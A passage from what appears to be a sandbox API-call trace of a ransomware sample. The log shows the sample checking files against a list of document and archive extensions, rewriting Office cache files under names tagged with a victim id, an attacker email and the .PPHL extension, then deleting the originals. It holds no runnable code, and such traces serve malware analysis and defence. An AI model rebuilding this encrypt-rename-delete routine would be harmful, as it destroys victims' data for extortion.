Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.884] lstrlenW (lpString=".jpg") returned 4 [0074.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.884] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0074.884] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0074.884] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0074.884] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=3702272) returned 1 [0074.884] CloseHandle (hObject=0x1b0) returned 1 [0074.884] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0074.884] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.885] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0074.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0074.885] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0074.885] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.885] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.891] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.891] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.915] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.915] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.915] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.933] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.934] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0075.989] SetEndOfFile (hFile=0x1b0) returned 1 [0076.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fb3fc0 [0076.628] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.628] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.630] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.630] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.634] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.634] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fb3fc0 | out: hHeap=0x5d0000) returned 1 [0076.636] CloseHandle (hObject=0x1b0) returned 1 [0076.636] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.637] lstrlenW (lpString=".doc") returned 4 [0076.637] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0076.637] lstrlenW (lpString=".docx") returned 5 [0076.637] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0076.637] lstrlenW (lpString=".pdf") returned 4 [0076.637] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0076.637] lstrlenW (lpString=".xls") returned 4 [0076.637] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0076.637] lstrlenW (lpString=".xlsx") returned 5 [0076.637] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0076.637] lstrlenW (lpString=".ppt") returned 4 [0076.637] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.637] lstrlenW (lpString=".zip") returned 4 [0076.637] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0076.637] lstrlenW (lpString=".rar") returned 4 [0076.637] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0076.637] lstrlenW (lpString=".bz2") returned 4 [0076.637] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0076.637] lstrlenW (lpString=".7z") returned 3 [0076.637] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.637] lstrlenW (lpString=".dbf") returned 4 [0076.637] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.637] lstrlenW (lpString=".1cd") returned 4 [0076.638] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString=".jpg") returned 4 [0076.638] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString=".doc") returned 4 [0076.638] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0076.638] lstrlenW (lpString=".docx") returned 5 [0076.638] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0076.638] lstrlenW (lpString=".pdf") returned 4 [0076.638] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0076.638] lstrlenW (lpString=".xls") returned 4 [0076.638] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0076.638] lstrlenW (lpString=".xlsx") returned 5 [0076.638] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0076.638] lstrlenW (lpString=".ppt") returned 4 [0076.638] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString=".zip") returned 4 [0076.638] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0076.638] lstrlenW (lpString=".rar") returned 4 [0076.638] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0076.638] lstrlenW (lpString=".bz2") returned 4 [0076.638] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0076.638] lstrlenW (lpString=".7z") returned 3 [0076.638] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString=".dbf") returned 4 [0076.638] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString=".1cd") returned 4 [0076.638] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0076.638] lstrlenW (lpString=".jpg") returned 4 [0076.639] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0076.639] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0076.639] lstrlenW (lpString="osetupui.dll") returned 12 [0076.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.639] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=191872) returned 1 [0076.639] CloseHandle (hObject=0x1b0) returned 1 [0076.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0076.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.639] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.640] GetLastError () returned 0x0 [0076.640] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0076.646] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0076.651] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.651] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.651] SetEndOfFile (hFile=0x1f0) returned 1 [0076.651] CloseHandle (hObject=0x1f0) returned 1 [0076.651] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.651] SetEndOfFile (hFile=0x1b0) returned 1 [0076.653] CloseHandle (hObject=0x1b0) returned 1 [0076.653] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0076.654] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0076.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.654] lstrlenW (lpString=".doc") returned 4 [0076.654] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.654] lstrlenW (lpString=".docx") returned 5 [0076.654] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0076.654] lstrlenW (lpString=".pdf") returned 4 [0076.654] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.654] lstrlenW (lpString=".xls") returned 4 [0076.654] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.654] lstrlenW (lpString=".xlsx") returned 5 [0076.654] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0076.654] lstrlenW (lpString=".ppt") returned 4 [0076.654] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.654] lstrlenW (lpString=".zip") returned 4 [0076.654] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.654] lstrlenW (lpString=".rar") returned 4 [0076.654] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.654] lstrlenW (lpString=".bz2") returned 4 [0076.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.655] lstrlenW (lpString=".7z") returned 3 [0076.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.655] lstrlenW (lpString=".dbf") returned 4 [0076.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.655] lstrlenW (lpString=".1cd") returned 4 [0076.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.655] lstrlenW (lpString=".jpg") returned 4 [0076.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.655] lstrlenW (lpString=".doc") returned 4 [0076.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.655] lstrlenW (lpString=".docx") returned 5 [0076.655] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0076.655] lstrlenW (lpString=".pdf") returned 4 [0076.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.655] lstrlenW (lpString=".xls") returned 4 [0076.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.655] lstrlenW (lpString=".xlsx") returned 5 [0076.656] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0076.656] lstrlenW (lpString=".ppt") returned 4 [0076.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.656] lstrlenW (lpString=".zip") returned 4 [0076.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.656] lstrlenW (lpString=".rar") returned 4 [0076.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.656] lstrlenW (lpString=".bz2") returned 4 [0076.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.656] lstrlenW (lpString=".7z") returned 3 [0076.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.656] lstrlenW (lpString=".dbf") returned 4 [0076.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.657] lstrlenW (lpString=".1cd") returned 4 [0076.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0076.657] lstrlenW (lpString=".jpg") returned 4 [0076.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.657] lstrcmpiW (lpString1=".MST", lpString2=".PPHL") returned -1 [0076.657] lstrlenW (lpString="ShellUI.MST") returned 11 [0076.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.657] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=3584) returned 1 [0076.657] CloseHandle (hObject=0x1b0) returned 1 [0076.657] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0076.658] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.658] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.658] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.658] GetLastError () returned 0x0 [0076.658] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0xe00, lpOverlapped=0x0) returned 1 [0076.769] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0076.770] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.770] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.770] SetEndOfFile (hFile=0x1f0) returned 1 [0076.770] CloseHandle (hObject=0x1f0) returned 1 [0076.771] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.771] SetEndOfFile (hFile=0x1b0) returned 1 [0076.772] CloseHandle (hObject=0x1b0) returned 1 [0076.772] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0076.772] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0076.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.772] lstrlenW (lpString=".doc") returned 4 [0076.773] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0076.773] lstrlenW (lpString=".docx") returned 5 [0076.773] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0076.773] lstrlenW (lpString=".pdf") returned 4 [0076.773] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0076.773] lstrlenW (lpString=".xls") returned 4 [0076.773] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0076.773] lstrlenW (lpString=".xlsx") returned 5 [0076.773] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0076.773] lstrlenW (lpString=".ppt") returned 4 [0076.773] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0076.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.773] lstrlenW (lpString=".zip") returned 4 [0076.773] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0076.773] lstrlenW (lpString=".rar") returned 4 [0076.773] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0076.773] lstrlenW (lpString=".bz2") returned 4 [0076.773] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0076.773] lstrlenW (lpString=".7z") returned 3 [0076.773] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0076.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.773] lstrlenW (lpString=".dbf") returned 4 [0076.773] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0076.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.773] lstrlenW (lpString=".1cd") returned 4 [0076.773] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0076.773] lstrlenW (lpString="C:\\MSOCache\\All 